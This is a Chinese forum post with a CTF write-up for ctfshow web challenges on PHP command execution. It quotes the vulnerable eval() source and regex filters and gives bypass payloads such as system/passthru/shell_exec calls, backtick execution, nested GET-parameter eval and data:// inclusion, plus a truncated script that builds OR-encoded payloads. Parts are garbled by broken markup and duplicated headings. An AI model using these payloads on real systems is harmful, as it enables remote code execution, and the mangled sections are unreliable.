找回密码
 立即注册
首页 业界区 安全 ctfshow-web命令执行 -web29-web77

ctfshow-web命令执行 -web29-web77

寂傧 前天 23:10
ctfshow-web(命令执行)

b
web29

eval($c)漏洞(/flag/i)

1.png
  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date:   2020-09-04 00:12:34
  6. # @Last Modified by:   h1xa
  7. # @Last Modified time: 2020-09-04 00:26:48
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. error_reporting(0);
  12. if(isset($_GET['c'])){
  13.     $c = $_GET['c'];
  14.     if(!preg_match("/flag/i", $c)){
  15.         eval($c);
  16.     }
  17.    
  18. }else{
  19.     highlight_file(__FILE__);
  20. }
复制代码
2.png

3.png

文件包含**伪协议 + 二次参数
  1. !preg_match("/flag/i", $c)
  2. 如果输入中包含 flag(不区分大小写),就禁止执行。
  3. eval() 直接执行你输入的 PHP 代码
复制代码
文件包含**伪协议 + 二次参数
  1. ?c=system("tac fla*");
复制代码
4.png

5.png
  1. ?c=echo `tac fl*`;
复制代码
web35

6.png
  1. ?c=eval($_GET[1]);&1=phpinfo();
复制代码
文件包含+伪协议+二次参数
  1. ?c=system("cp fl*g.php a.txt");
  2. 然后访问
复制代码
7.png

8.png
  1. ctfshow{921a5be1-2428-45cb-9eba-b9a9d43a59ef}
复制代码
web35

9.png
  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date:   2020-09-04 00:12:34
  6. # @Last Modified by:   h1xa
  7. # @Last Modified time: 2020-09-04 00:42:26
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. error_reporting(0);
  12. if(isset($_GET['c'])){
  13.     $c = $_GET['c'];
  14.     if(!preg_match("/flag|system|php/i", $c)){
  15.         eval($c);
  16.     }
  17.    
  18. }else{
  19.     highlight_file(__FILE__);
  20. }
复制代码
10.png
  1. ?c=echo `tac fl*`;
复制代码
web36
  1. [/code][list=1]
  2. [*]$c = $_GET['c'];
  3. include($c);
  4. 相当于 PHP 在执行时看到了一句:
  5. [/list]php
  6. 复制
  7. [code]?c=passthru("tac fla*");
复制代码
流解析 + 代码执行阶段 PHP 的 include 并不只是“把磁盘文件拉进来”,它会先根据 流封装器(stream wrapper) 判断协议:
发现是 data:// → 交给 data wrapper 处理。
  1. 字符串拼接的方式动态构造出函数名 system,然后执行系统命令 tac fla*
复制代码
include 拿到这个虚拟文件后,会把它当成 PHP 脚本直接执行(因为内容开头就是 [/code]
11.png
  1. ?c=echo shell_exec("tac fla*");
复制代码
web38
  1. [/code][align=center] 12.png [/align]
  2. [code]ctfshow{df3c4621-c51b-42e3-a0a1-64812e40ae28}
复制代码
web39
  1. [/code][code]?c=eval($_GET[1]);&1=system("tac fla*");
复制代码
思路如下:

  • 首先对ascii从0-255所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
  • 跟据题目要求,构造payload的原型,并将原型替换为或运算的结果
  • 使用POST请求发送c,获取flag
通过他人的脚本可以
无字母数字按位 or 拼接**

[code]import reimport urllibfrom urllib import parseimport requestscontents = []for i in range(256):    for j in range(256):        hex_i = '{:02x}'.format(i)        hex_j = '{:02x}'.format(j)        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):            continue        else:            a = '%' + hex_i            b = '%' + hex_j            c = chr(int(a[1:], 16) | int(b[1:], 16))            if 32

相关推荐

您需要登录后才可以回帖 登录 | 立即注册